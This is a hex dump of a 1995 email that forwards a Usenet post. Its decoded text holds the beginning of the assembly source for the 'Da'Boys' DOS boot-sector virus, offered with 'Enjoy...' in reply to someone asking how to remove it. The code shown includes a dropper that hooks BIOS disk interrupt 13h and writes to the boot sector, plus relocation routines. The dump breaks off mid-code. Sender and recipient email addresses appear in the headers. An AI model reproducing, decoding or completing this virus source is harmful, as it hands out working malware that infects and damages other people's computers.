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+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 73 6d 74 | 70 20 46 72 69 20 4d 61 |From smt|p Fri Ma|
|00000010| 72 20 32 34 20 31 36 3a | 31 37 20 45 53 54 20 31 |r 24 16:|17 EST 1|
|00000020| 39 39 35 0a 52 65 63 65 | 69 76 65 64 3a 20 66 72 |995.Rece|ived: fr|
|00000030| 6f 6d 20 6c 79 6e 78 2e | 64 61 63 2e 6e 65 75 2e |om lynx.|dac.neu.|
|00000040| 65 64 75 20 62 79 20 50 | 4f 42 4f 58 2e 6a 77 75 |edu by P|OBOX.jwu|
|00000050| 2e 65 64 75 3b 20 46 72 | 69 2c 20 32 34 20 4d 61 |.edu; Fr|i, 24 Ma|
|00000060| 72 20 39 35 20 31 36 3a | 31 37 20 45 53 54 0a 52 |r 95 16:|17 EST.R|
|00000070| 65 63 65 69 76 65 64 3a | 20 28 66 72 6f 6d 20 65 |eceived:| (from e|
|00000080| 6b 69 6c 62 79 40 6c 6f | 63 61 6c 68 6f 73 74 29 |kilby@lo|calhost)|
|00000090| 20 62 79 20 6c 79 6e 78 | 2e 64 61 63 2e 6e 65 75 | by lynx|.dac.neu|
|000000a0| 2e 65 64 75 20 28 38 2e | 36 2e 31 31 2f 38 2e 36 |.edu (8.|6.11/8.6|
|000000b0| 2e 31 30 29 20 69 64 20 | 51 41 41 33 30 37 36 34 |.10) id |QAA30764|
|000000c0| 20 66 6f 72 20 6a 6f 73 | 68 75 61 77 40 70 6f 62 | for jos|huaw@pob|
|000000d0| 6f 78 2e 6a 77 75 2e 65 | 64 75 3b 20 46 72 69 2c |ox.jwu.e|du; Fri,|
|000000e0| 20 32 34 20 4d 61 72 20 | 31 39 39 35 20 31 36 3a | 24 Mar |1995 16:|
|000000f0| 32 31 3a 32 36 20 2d 30 | 35 30 30 0a 44 61 74 65 |21:26 -0|500.Date|
|00000100| 3a 20 46 72 69 2c 20 32 | 34 20 4d 61 72 20 31 39 |: Fri, 2|4 Mar 19|
|00000110| 39 35 20 31 36 3a 32 31 | 3a 32 36 20 2d 30 35 30 |95 16:21|:26 -050|
|00000120| 30 0a 46 72 6f 6d 3a 20 | 45 72 69 63 20 4b 69 6c |0.From: |Eric Kil|
|00000130| 62 79 20 3c 65 6b 69 6c | 62 79 40 6c 79 6e 78 2e |by <ekil|by@lynx.|
|00000140| 64 61 63 2e 6e 65 75 2e | 65 64 75 3e 0a 43 6f 6e |dac.neu.|edu>.Con|
|00000150| 74 65 6e 74 2d 4c 65 6e | 67 74 68 3a 20 36 39 32 |tent-Len|gth: 692|
|00000160| 34 0a 43 6f 6e 74 65 6e | 74 2d 54 79 70 65 3a 20 |4.Conten|t-Type: |
|00000170| 74 65 78 74 0a 4d 65 73 | 73 61 67 65 2d 49 64 3a |text.Mes|sage-Id:|
|00000180| 20 3c 31 39 39 35 30 33 | 32 34 32 31 32 31 2e 51 | <199503|242121.Q|
|00000190| 41 41 33 30 37 36 34 40 | 6c 79 6e 78 2e 64 61 63 |AA30764@|lynx.dac|
|000001a0| 2e 6e 65 75 2e 65 64 75 | 3e 0a 54 6f 3a 20 6a 6f |.neu.edu|>.To: jo|
|000001b0| 73 68 75 61 77 40 70 6f | 62 6f 78 2e 6a 77 75 2e |shuaw@po|box.jwu.|
|000001c0| 65 64 75 0a 53 75 62 6a | 65 63 74 3a 20 28 66 77 |edu.Subj|ect: (fw|
|000001d0| 64 29 20 52 65 3a 20 44 | 61 27 62 6f 79 73 20 76 |d) Re: D|a'boys v|
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|00000210| 0a 50 61 74 68 3a 20 63 | 68 61 6f 73 2e 64 61 63 |.Path: c|haos.dac|
|00000220| 2e 6e 65 75 2e 65 64 75 | 21 75 73 65 6e 65 74 2e |.neu.edu|!usenet.|
|00000230| 65 65 6c 2e 75 66 6c 2e | 65 64 75 21 6e 65 77 73 |eel.ufl.|edu!news|
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|00000280| 21 6e 6e 74 70 2e 63 72 | 6c 2e 63 6f 6d 21 63 72 |!nntp.cr|l.com!cr|
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|000002a0| 6f 72 2d 6d 61 69 6c 0a | 46 72 6f 6d 3a 20 79 6f |or-mail.|From: yo|
|000002b0| 6a 69 6d 62 6f 40 63 72 | 6c 2e 63 6f 6d 20 28 44 |jimbo@cr|l.com (D|
|000002c0| 6f 75 67 6c 61 73 20 4d | 61 75 6c 64 69 6e 29 0a |ouglas M|auldin).|
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|00000340| 69 61 6c 75 70 20 49 6e | 74 65 72 6e 65 74 20 41 |ialup In|ternet A|
|00000350| 63 63 65 73 73 09 28 34 | 31 35 29 20 37 30 35 2d |ccess.(4|15) 705-|
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|00000380| 4d 65 73 73 61 67 65 2d | 49 44 3a 20 3c 33 6b 74 |Message-|ID: <3kt|
|00000390| 73 36 31 24 31 61 33 40 | 63 72 6c 39 2e 63 72 6c |s61$1a3@|crl9.crl|
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|000003c0| 6c 31 30 2e 63 72 6c 2e | 63 6f 6d 3e 20 3c 33 6b |l10.crl.|com> <3k|
|000003d0| 74 70 73 34 24 68 30 38 | 40 63 72 6c 36 2e 63 72 |tps4$h08|@crl6.cr|
|000003e0| 6c 2e 63 6f 6d 3e 0a 4e | 4e 54 50 2d 50 6f 73 74 |l.com>.N|NTP-Post|
|000003f0| 69 6e 67 2d 48 6f 73 74 | 3a 20 63 72 6c 39 2e 63 |ing-Host|: crl9.c|
|00000400| 72 6c 2e 63 6f 6d 0a 58 | 2d 4e 65 77 73 72 65 61 |rl.com.X|-Newsrea|
|00000410| 64 65 72 3a 20 54 49 4e | 20 5b 76 65 72 73 69 6f |der: TIN| [versio|
|00000420| 6e 20 31 2e 32 20 50 4c | 32 5d 0a 0a 3b 3a 20 64 |n 1.2 PL|2]..;: d|
|00000430| 6f 65 73 20 61 6e 79 6f | 6e 65 20 6b 6e 6f 77 20 |oes anyo|ne know |
|00000440| 77 68 61 74 20 74 68 69 | 73 20 76 69 72 75 73 20 |what thi|s virus |
|00000450| 64 6f 65 73 3f 20 20 68 | 6f 77 20 64 61 6e 67 65 |does?  h|ow dange|
|00000460| 72 6f 75 73 20 69 73 20 | 69 74 0a 3b 3a 20 61 6e |rous is |it.;: an|
|00000470| 64 20 68 6f 77 20 64 6f | 20 69 20 72 65 6d 6f 76 |d how do| i remov|
|00000480| 65 20 69 74 20 66 72 6f | 6d 20 6d 79 20 62 6f 6f |e it fro|m my boo|
|00000490| 74 20 73 65 63 74 6f 72 | 20 69 66 20 74 68 65 20 |t sector| if the |
|000004a0| 64 69 73 6b 20 69 73 20 | 6e 6f 74 0a 3b 3a 20 61 |disk is |not.;: a|
|000004b0| 20 62 6f 6f 74 61 62 6c | 65 20 6f 6e 65 3f 20 20 | bootabl|e one?  |
|000004c0| 0a 0a 3b 46 72 6f 6d 20 | 54 48 65 20 51 55 61 52 |..;From |THe QUaR|
|000004d0| 61 4e 54 69 4e 45 20 61 | 72 63 68 69 76 65 73 3a |aNTiNE a|rchives:|
|000004e0| 20 44 61 27 42 6f 79 73 | 20 53 6f 75 72 63 65 2d | Da'Boys| Source-|
|000004f0| 0a 3b 45 6e 6a 6f 79 2e | 2e 2e 0a 0a 63 73 65 67 |.;Enjoy.|....cseg|
|00000500| 09 09 73 65 67 6d 65 6e | 74 09 70 61 72 61 09 70 |..segmen|t.para.p|
|00000510| 75 62 6c 69 63 09 27 63 | 6f 64 65 27 0a 64 61 5f |ublic.'c|ode'.da_|
|00000520| 62 6f 79 73 09 09 70 72 | 6f 63 09 6e 65 61 72 0a |boys..pr|oc.near.|
|00000530| 61 73 73 75 6d 65 09 09 | 63 73 3a 63 73 65 67 0a |assume..|cs:cseg.|
|00000540| 0a 3b 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |.;------|--------|
|00000550| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000560| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000570| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000580| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 0a |--------|-------.|
|00000590| 0a 2e 31 38 36 0a 54 52 | 55 45 09 09 65 71 75 09 |..186.TR|UE..equ.|
|000005a0| 30 30 31 68 0a 46 41 4c | 53 45 09 09 65 71 75 09 |001h.FAL|SE..equ.|
|000005b0| 30 30 30 68 0a 0a 3b 2d | 2d 2d 2d 2d 2d 2d 2d 2d |000h..;-|--------|
|000005c0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000005d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000005e0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000005f0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000600| 2d 2d 2d 2d 0a 0a 3b 6f | 70 74 69 6f 6e 09 09 09 |----..;o|ption...|
|00000610| 09 20 20 20 20 20 62 79 | 74 65 73 20 75 73 65 64 |.     by|tes used|
|00000620| 0a 0a 43 4f 4d 34 5f 4f | 46 46 09 65 71 75 09 54 |..COM4_O|FF.equ.T|
|00000630| 52 55 45 09 3b 20 20 33 | 20 62 79 74 65 73 0a 44 |RUE.;  3| bytes.D|
|00000640| 41 5f 42 4f 59 53 5f 54 | 45 58 54 09 65 71 75 09 |A_BOYS_T|EXT.equ.|
|00000650| 54 52 55 45 09 3b 20 20 | 36 20 62 79 74 65 73 0a |TRUE.;  |6 bytes.|
|00000660| 0a 3b 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |.;------|--------|
|00000670| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000680| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000690| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000006a0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 0a |--------|-------.|
|000006b0| 0a 41 44 44 52 5f 4d 55 | 4c 09 65 71 75 09 30 30 |.ADDR_MU|L.equ.00|
|000006c0| 34 68 0a 42 49 4f 53 5f | 49 4e 54 5f 31 33 09 65 |4h.BIOS_|INT_13.e|
|000006d0| 71 75 09 30 63 36 68 0a | 42 4f 4f 54 5f 49 4e 54 |qu.0c6h.|BOOT_INT|
|000006e0| 09 65 71 75 09 30 31 39 | 68 0a 42 4f 4f 54 5f 4f |.equ.019|h.BOOT_O|
|000006f0| 46 46 53 45 54 09 65 71 | 75 09 30 37 63 30 30 68 |FFSET.eq|u.07c00h|
|00000700| 0a 43 4f 4d 34 5f 4f 46 | 46 53 45 54 09 65 71 75 |.COM4_OF|FSET.equ|
|00000710| 09 30 30 34 30 36 68 0a | 43 4f 4d 5f 4f 46 46 53 |.00406h.|COM_OFFS|
|00000720| 45 54 09 65 71 75 09 30 | 30 31 30 30 68 0a 44 49 |ET.equ.0|0100h.DI|
|00000730| 53 4b 5f 49 4e 54 09 65 | 71 75 09 30 31 33 68 0a |SK_INT.e|qu.013h.|
|00000740| 44 4f 53 5f 47 45 54 5f | 49 4e 54 09 65 71 75 09 |DOS_GET_|INT.equ.|
|00000750| 30 33 35 30 30 68 0a 44 | 4f 53 5f 49 4e 54 09 09 |03500h.D|OS_INT..|
|00000760| 65 71 75 09 30 32 31 68 | 0a 44 4f 53 5f 53 45 54 |equ.021h|.DOS_SET|
|00000770| 5f 49 4e 54 09 65 71 75 | 09 30 32 35 30 30 68 0a |_INT.equ|.02500h.|
|00000780| 46 49 52 53 54 5f 53 45 | 43 54 4f 52 09 65 71 75 |FIRST_SE|CTOR.equ|
|00000790| 09 30 30 30 30 31 68 0a | 49 4e 49 54 49 41 4c 5f |.00001h.|INITIAL_|
|000007a0| 42 58 09 65 71 75 09 30 | 30 30 37 38 68 0a 4c 4f |BX.equ.0|0078h.LO|
|000007b0| 57 5f 43 4f 44 45 09 65 | 71 75 09 30 30 32 31 64 |W_CODE.e|qu.0021d|
|000007c0| 68 0a 4e 45 57 5f 49 4e | 54 5f 31 33 5f 4c 4f 4f |h.NEW_IN|T_13_LOO|
|000007d0| 50 09 65 71 75 09 30 63 | 64 68 0a 52 45 41 44 5f |P.equ.0c|dh.READ_|
|000007e0| 41 5f 53 45 43 54 4f 52 | 09 65 71 75 09 30 30 32 |A_SECTOR|.equ.002|
|000007f0| 30 31 68 0a 52 45 54 55 | 52 4e 5f 4e 45 41 52 09 |01h.RETU|RN_NEAR.|
|00000800| 65 71 75 09 30 63 33 68 | 0a 53 45 43 54 4f 52 5f |equ.0c3h|.SECTOR_|
|00000810| 53 49 5a 45 09 65 71 75 | 09 30 30 32 30 30 68 0a |SIZE.equ|.00200h.|
|00000820| 54 45 52 4d 49 4e 41 54 | 45 5f 57 5f 45 52 52 09 |TERMINAT|E_W_ERR.|
|00000830| 65 71 75 09 30 34 63 30 | 30 68 0a 54 57 4f 5f 42 |equ.04c0|0h.TWO_B|
|00000840| 59 54 45 53 09 65 71 75 | 09 30 30 32 68 0a 56 49 |YTES.equ|.002h.VI|
|00000850| 52 47 49 4e 5f 49 4e 54 | 5f 31 33 5f 42 09 65 71 |RGIN_INT|_13_B.eq|
|00000860| 75 09 30 30 37 62 34 68 | 0a 57 52 49 54 45 5f 41 |u.007b4h|.WRITE_A|
|00000870| 5f 53 45 43 54 4f 52 09 | 65 71 75 09 30 30 33 30 |_SECTOR.|equ.0030|
|00000880| 31 68 0a 0a 3b 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |1h..;---|--------|
|00000890| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000008a0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000008b0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000008c0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000008d0| 2d 2d 0a 0a 69 6f 5f 73 | 65 67 09 09 73 65 67 6d |--..io_s|eg..segm|
|000008e0| 65 6e 74 09 61 74 20 30 | 30 30 37 30 68 0a 09 09 |ent.at 0|0070h...|
|000008f0| 6f 72 67 09 30 30 30 30 | 30 68 0a 69 6f 5f 73 79 |org.0000|0h.io_sy|
|00000900| 73 5f 6c 6f 61 64 73 5f | 61 74 09 6c 61 62 65 6c |s_loads_|at.label|
|00000910| 09 77 6f 72 64 0a 69 6f | 5f 73 65 67 09 09 65 6e |.word.io|_seg..en|
|00000920| 64 73 0a 0a 3b 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |ds..;---|--------|
|00000930| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000940| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000950| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000960| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000970| 2d 2d 0a 0a 62 69 6f 73 | 5f 73 65 67 09 73 65 67 |--..bios|_seg.seg|
|00000980| 6d 65 6e 74 09 61 74 20 | 30 66 30 30 30 68 0a 09 |ment.at |0f000h..|
|00000990| 09 6f 72 67 09 30 39 33 | 31 35 68 0a 6f 72 69 67 |.org.093|15h.orig|
|000009a0| 69 6e 61 6c 5f 69 6e 74 | 5f 31 33 09 6c 61 62 65 |inal_int|_13.labe|
|000009b0| 6c 09 77 6f 72 64 0a 62 | 69 6f 73 5f 73 65 67 09 |l.word.b|ios_seg.|
|000009c0| 65 6e 64 73 0a 0a 3b 2d | 2d 2d 2d 2d 2d 2d 2d 2d |ends..;-|--------|
|000009d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000009e0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000009f0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000a00| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000a10| 2d 2d 2d 2d 0a 0a 09 09 | 6f 72 67 09 43 4f 4d 5f |----....|org.COM_|
|00000a20| 4f 46 46 53 45 54 0a 63 | 6f 6d 5f 63 6f 64 65 3a |OFFSET.c|om_code:|
|00000a30| 0a 0a 3b 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |..;-----|--------|
|00000a40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000a50| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000a60| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000a70| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000a80| 0a 0a 64 72 6f 70 70 65 | 72 09 09 70 72 6f 63 09 |..droppe|r..proc.|
|00000a90| 6e 65 61 72 0a 09 09 78 | 6f 72 09 61 78 2c 61 78 |near...x|or.ax,ax|
|00000aa0| 0a 09 09 6d 6f 76 09 64 | 73 2c 61 78 0a 09 09 6c |...mov.d|s,ax...l|
|00000ab0| 64 73 09 64 78 2c 64 77 | 6f 72 64 20 70 74 72 20 |ds.dx,dw|ord ptr |
|00000ac0| 64 73 3a 5b 56 49 52 47 | 49 4e 5f 49 4e 54 5f 31 |ds:[VIRG|IN_INT_1|
|00000ad0| 33 5f 42 5d 0a 09 09 6d | 6f 76 09 61 78 2c 44 4f |3_B]...m|ov.ax,DO|
|00000ae0| 53 5f 53 45 54 5f 49 4e | 54 2b 42 49 4f 53 5f 49 |S_SET_IN|T+BIOS_I|
|00000af0| 4e 54 5f 31 33 0a 09 09 | 69 6e 74 09 44 4f 53 5f |NT_13...|int.DOS_|
|00000b00| 49 4e 54 0a 09 09 6d 6f | 76 09 64 78 2c 6f 66 66 |INT...mo|v.dx,off|
|00000b10| 73 65 74 20 69 6e 74 65 | 72 72 75 70 74 5f 31 33 |set inte|rrupt_13|
|00000b20| 2b 4c 4f 57 5f 43 4f 44 | 45 2d 6f 66 66 73 65 74 |+LOW_COD|E-offset|
|00000b30| 20 6f 6c 64 5f 6a 7a 0a | 09 09 78 6f 72 09 61 78 | old_jz.|..xor.ax|
|00000b40| 2c 61 78 0a 09 09 6d 6f | 76 09 64 73 2c 61 78 0a |,ax...mo|v.ds,ax.|
|00000b50| 09 09 6d 6f 76 09 61 78 | 2c 44 4f 53 5f 53 45 54 |..mov.ax|,DOS_SET|
|00000b60| 5f 49 4e 54 2b 44 49 53 | 4b 5f 49 4e 54 0a 09 09 |_INT+DIS|K_INT...|
|00000b70| 69 6e 74 09 44 4f 53 5f | 49 4e 54 0a 09 09 6d 6f |int.DOS_|INT...mo|
|00000b80| 76 09 64 69 2c 4c 4f 57 | 5f 43 4f 44 45 0a 09 09 |v.di,LOW|_CODE...|
|00000b90| 6d 6f 76 09 73 69 2c 6f | 66 66 73 65 74 20 6f 6c |mov.si,o|ffset ol|
|00000ba0| 64 5f 6a 7a 0a 09 09 70 | 75 73 68 09 64 73 0a 09 |d_jz...p|ush.ds..|
|00000bb0| 09 70 6f 70 09 65 73 0a | 09 09 63 61 6c 6c 09 6d |.pop.es.|..call.m|
|00000bc0| 6f 76 65 5f 74 6f 5f 62 | 6f 6f 74 0a 09 09 6d 6f |ove_to_b|oot...mo|
|00000bd0| 76 09 61 78 2c 52 45 41 | 44 5f 41 5f 53 45 43 54 |v.ax,REA|D_A_SECT|
|00000be0| 4f 52 0a 09 09 6d 6f 76 | 09 63 78 2c 46 49 52 53 |OR...mov|.cx,FIRS|
|00000bf0| 54 5f 53 45 43 54 4f 52 | 0a 09 09 6d 6f 76 09 64 |T_SECTOR|...mov.d|
|00000c00| 78 2c 30 30 31 38 30 68 | 0a 09 09 6d 6f 76 09 62 |x,00180h|...mov.b|
|00000c10| 78 2c 6f 66 66 73 65 74 | 20 62 75 66 66 65 72 0a |x,offset| buffer.|
|00000c20| 09 09 70 75 73 68 09 63 | 73 0a 09 09 70 6f 70 09 |..push.c|s...pop.|
|00000c30| 65 73 0a 09 09 69 6e 74 | 09 44 49 53 4b 5f 49 4e |es...int|.DISK_IN|
|00000c40| 54 0a 61 6c 72 65 61 64 | 79 5f 73 65 74 3a 09 6d |T.alread|y_set:.m|
|00000c50| 6f 76 09 61 78 2c 54 45 | 52 4d 49 4e 41 54 45 5f |ov.ax,TE|RMINATE_|
|00000c60| 57 5f 45 52 52 0a 09 09 | 69 6e 74 09 44 4f 53 5f |W_ERR...|int.DOS_|
|00000c70| 49 4e 54 0a 64 72 6f 70 | 70 65 72 09 09 65 6e 64 |INT.drop|per..end|
|00000c80| 70 0a 0a 0a 3b 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |p...;---|--------|
|00000c90| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000ca0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000cb0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000cc0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000cd0| 2d 2d 0a 0a 09 09 6f 72 | 67 09 30 30 30 34 38 68 |--....or|g.00048h|
|00000ce0| 2b 43 4f 4d 5f 4f 46 46 | 53 45 54 0a 09 09 63 61 |+COM_OFF|SET...ca|
|00000cf0| 6c 6c 09 69 6e 69 74 69 | 61 6c 69 7a 65 0a 0a 3b |ll.initi|alize..;|
|00000d00| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000d10| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000d20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000d30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000d40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 0a 0a 09 |--------|-----...|
|00000d50| 09 6f 72 67 09 30 30 30 | 65 62 68 2b 43 4f 4d 5f |.org.000|ebh+COM_|
|00000d60| 4f 46 46 53 45 54 0a 6f | 6c 64 5f 6a 7a 3a 09 09 |OFFSET.o|ld_jz:..|
|00000d70| 6a 7a 09 6f 6c 64 5f 63 | 6f 64 65 0a 0a 3b 2d 2d |jz.old_c|ode..;--|
|00000d80| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000d90| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000da0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000db0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000dc0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 0a 0a 09 09 6f |--------|---....o|
|00000dd0| 72 67 09 30 30 65 64 68 | 2b 43 4f 4d 5f 4f 46 46 |rg.00edh|+COM_OFF|
|00000de0| 53 45 54 0a 0a 3b 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |SET..;--|--------|
|00000df0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000e00| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000e10| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000e20| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000e30| 2d 2d 2d 0a 0a 65 72 72 | 6f 72 3a 09 09 6a 6d 70 |---..err|or:..jmp|
|00000e40| 09 65 72 72 6f 72 5f 77 | 69 6c 6c 5f 6a 6d 70 2b |.error_w|ill_jmp+|
|00000e50| 4c 4f 57 5f 43 4f 44 45 | 2d 30 30 30 65 62 68 2d |LOW_CODE|-000ebh-|
|00000e60| 42 4f 4f 54 5f 4f 46 46 | 53 45 54 0a 6d 6f 76 65 |BOOT_OFF|SET.move|
|00000e70| 5f 74 6f 5f 6c 6f 77 3a | 09 6d 6f 76 09 73 69 2c |_to_low:|.mov.si,|
|00000e80| 6f 66 66 73 65 74 20 6f | 6c 64 5f 6a 7a 2b 42 4f |offset o|ld_jz+BO|
|00000e90| 4f 54 5f 4f 46 46 53 45 | 54 2d 43 4f 4d 5f 4f 46 |OT_OFFSE|T-COM_OF|
|00000ea0| 46 53 45 54 0a 09 09 78 | 6f 72 09 61 78 2c 61 78 |FSET...x|or.ax,ax|
|00000eb0| 0a 6d 6f 76 65 5f 74 6f | 5f 62 6f 6f 74 3a 09 6d |.move_to|_boot:.m|
|00000ec0| 6f 76 09 63 78 2c 6f 66 | 66 73 65 74 20 6a 6d 70 |ov.cx,of|fset jmp|
|00000ed0| 5f 6f 6c 64 5f 69 6e 74 | 5f 31 33 2d 6f 66 66 73 |_old_int|_13-offs|
|00000ee0| 65 74 09 6f 6c 64 5f 6a | 7a 2b 31 0a 09 09 70 75 |et.old_j|z+1...pu|
|00000ef0| 73 68 66 0a 09 09 63 6c | 64 0a 09 09 72 65 70 09 |shf...cl|d...rep.|
|00000f00| 6d 6f 76 73 20 62 79 74 | 65 20 70 74 72 20 65 73 |movs byt|e ptr es|
|00000f10| 3a 5b 64 69 5d 2c 63 73 | 3a 5b 73 69 5d 0a 09 09 |:[di],cs|:[si]...|
|00000f20| 70 6f 70 66 0a 09 09 72 | 65 74 0a 0a 3b 2d 2d 2d |popf...r|et..;---|
|00000f30| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000f40| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000f50| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000f60| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00000f70| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 0a 0a 6f 6c 64 5f |--------|--..old_|
|00000f80| 63 6f 64 65 3a 09 6d 6f | 76 09 61 78 2c 77 6f 72 |code:.mo|v.ax,wor|
|00000f90| 64 09 70 74 72 20 64 73 | 3a 5b 62 78 2b 30 31 61 |d.ptr ds|:[bx+01a|
|00000fa0| 68 5d 0a 09 09 64 65 63 | 09 61 78 0a 09 09 64 65 |h]...dec|.ax...de|
|00000fb0| 63 09 61 78 0a 09 09 6d | 6f 76 09 64 69 2c 42 4f |c.ax...m|ov.di,BO|
|00000fc0| 4f 54 5f 4f 46 46 53 45 | 54 2b 30 34 39 68 0a 09 |OT_OFFSE|T+049h..|
|00000fd0| 09 6d 6f 76 09 62 6c 2c | 62 79 74 65 09 70 74 72 |.mov.bl,|byte.ptr|
|00000fe0| 20 64 73 3a 5b 64 69 2d | 30 33 63 68 5d 0a 09 09 | ds:[di-|03ch]...|
|00000ff0| 78 6f 72 09 62 68 2c 62 | 68 0a 09 09 6d 75 6c 09 |xor.bh,b|h...mul.|
|00001000| 62 78 0a 09 09 61 64 64 | 09 61 78 2c 77 6f 72 64 |bx...add|.ax,word|
|00001010| 09 70 74 72 20 64 73 3a | 5b 64 69 5d 0a 09 09 61 |.ptr ds:|[di]...a|
|00001020| 64 63 09 64 78 2c 77 6f | 72 64 09 70 74 72 20 64 |dc.dx,wo|rd.ptr d|
|00001030| 73 3a 5b 64 69 2b 30 30 | 32 68 5d 0a 09 09 6d 6f |s:[di+00|2h]...mo|
|00001040| 76 09 62 78 2c 30 30 37 | 30 30 68 0a 09 09 6d 6f |v.bx,007|00h...mo|
|00001050| 76 09 63 6c 2c 30 30 33 | 68 0a 6f 6c 64 5f 6c 6f |v.cl,003|h.old_lo|
|00001060| 6f 70 3a 09 70 75 73 68 | 61 0a 09 09 63 61 6c 6c |op:.push|a...call|
|00001070| 09 6d 6f 72 65 5f 6f 6c | 64 5f 63 6f 64 65 0a 09 |.more_ol|d_code..|
|00001080| 09 70 6f 70 61 0a 09 09 | 6a 63 09 65 72 72 6f 72 |.popa...|jc.error|
